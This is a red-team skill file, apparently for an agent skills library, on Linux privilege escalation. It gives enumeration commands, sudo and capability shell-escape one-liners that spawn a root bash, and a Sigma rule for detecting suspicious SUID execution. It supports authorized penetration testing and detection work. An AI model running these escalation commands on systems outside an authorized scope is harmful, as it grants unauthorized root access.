<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-privilege-escalation-linux
description: >-
  Escalate privileges on Linux via SUID, sudo, kernel exploits, cron, capabilities.
domain: cybersecurity
subdomain: red-team
tags:
  - privilege-escalation
  - linux
  - suid
  - sudo
  - kernel-exploit
  - linpeas
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1548.001", "T1548.003", "T1068"]
  tools: ["linpeas", "pspy", "linux-exploit-suggester"]
---

# Exploiting Privilege Escalation Linux

## Overview

Linux privilege escalation exploits misconfigurations to elevate from low-privilege to root. Vectors include SUID abuse, sudo misconfig, cron jobs, kernel vulns, and capabilities.

## Prerequisites

- Tools: ["linpeas", "pspy", "linux-exploit-suggester"]
- Authorized testing engagement with written scope

## Key Concepts

See workflow sections for technique-specific concepts.

## Workflow

### Step 1: Automated Enumeration
```bash
./linpeas.sh -a 2>&1 | tee linpeas.txt
./linux-exploit-suggester.sh
./pspy64
```

### Step 2: Check Sudo
```bash
sudo -l
sudo vim -c ':!/bin/bash'
sudo find . -exec /bin/bash -p \; -quit
sudo python3 -c 'import os; os.system("/bin/bash")'
```

### Step 3: SUID Abuse
```bash
find / -perm -4000 -type f 2>/dev/null
# Cross-reference with GTFOBins
```

### Step 4: Capabilities
```bash
getcap -r / 2>/dev/null
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

### Step 5: Kernel Exploits
```bash
uname -r
./linux-exploit-suggester.sh --uname "$(uname -r)"
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| SUID execution | auditd | Non-root running SUID binary |
| File modification | auditd | Changes to /etc/passwd, /etc/shadow |

```yaml
title: Suspicious SUID Binary Execution
id: b3c4d5e6-7f8a-9b0c-1d2e-3f4a5b6c7d8e
status: experimental
description: Uncommon SUID binary by non-root user
logsource:
  product: linux
  service: auditd
detection:
  selection:
    type: EXECVE
    euid: '0'
  filter:
    uid: '0'
  condition: selection and not filter
falsepositives:
  - Legitimate admin use
level: high
tags:
  - attack.privilege_escalation
  - attack.t1548.001
```

## Verification

- [ ] Technique executed successfully within scope
- [ ] Results documented with evidence
- [ ] Detection artifacts identified
- [ ] Cleanup performed after testing

## References

- [GTFOBins](https://gtfobins.github.io/)
- [LinPEAS](https://github.com/peass-ng/PEASS-ng)
- [MITRE T1548.001](https://attack.mitre.org/techniques/T1548/001/)
